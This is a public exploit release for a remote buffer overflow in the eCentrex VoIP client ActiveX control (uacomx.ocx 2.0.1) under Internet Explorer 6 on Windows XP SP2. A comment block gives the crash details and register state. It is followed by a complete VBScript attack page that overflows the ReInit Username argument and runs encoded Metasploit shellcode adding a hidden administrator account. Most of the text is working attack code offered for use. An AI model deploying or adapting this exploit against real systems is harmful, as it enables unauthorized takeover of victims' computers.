eCentrex VoIP client module remote buffer overflow exploit that makes use of uacomx.ocx version 2.0.1.
bb46182efc060e88d93f7e422edff4403336f30750543d554eab142e85c2573a<!--
17/08/2007 04.41.37
eCentrex VOIP Client module (uacomx.ocx 2.0.1) remote buffer overflow
exploit (ie6 / xp sp2)
passing more than 164 chars to ReInit method in Username argument
EAX 41414131
ECX 0013D444 ASCII "AAAAAAAA...
EDX 00000000
EBX 00000000
ESP 0013D3A0
EBP 0013D458 ASCII "AAAAAAAA...
ESI 41414131
EDI 00000001
EIP 04C4C945 euacom.04C4C945
...
04C4C945 8B0E MOV ECX,DWORD PTR DS:[ESI]
04C4C947 8B01 MOV EAX,DWORD PTR DS:[ECX]
04C4C949 FF50 10 CALL DWORD PTR DS:[EAX+10]
Access violation when reading 41414131
also seh is overwritten
object safety report
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
KillBitSet: False
this was the codebase:
http://202.73.10.134/e800/euacom/uacomx.cab
vendor:
http://www.e800phone.com/abtus.htm
rgod.
site: http://retrogod.altervista.org
-->
<html>
<object classid='clsid:BD80D375-5439-4D80-B128-DDA5FDC3AE6C' id='IUAComFormX' /></object>
<script language='vbscript'>
'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44")
'try this kind of command: msfpescan -d ./tools/iexplore -x "\x00\x13\x41\x00"
esi = unescape("%65%1a%2f%7e") '0x7e2f1a65 -> 0x00134200 - jumpin' in the middle of pad...
l_pad = Replace( Space(2555), " ", unescape("%1b%27%3f%7e") )' 0x7e3f272b -> 0x00137000 - jumping to ultranop, worked 100%, you really need javashit spray every time?
l_nop = string(12222,unescape("%90"))
UserName = String(164,"A") + esi + l_pad + l_nop + scode
Password = ""
ProxyServerIP = ""
ProxyIP = ""
Project = ""
PortNo = 1
IUAComFormX.ReInit UserName ,Password ,ProxyServerIP ,ProxyIP ,Project ,PortNo
</script>
</html>
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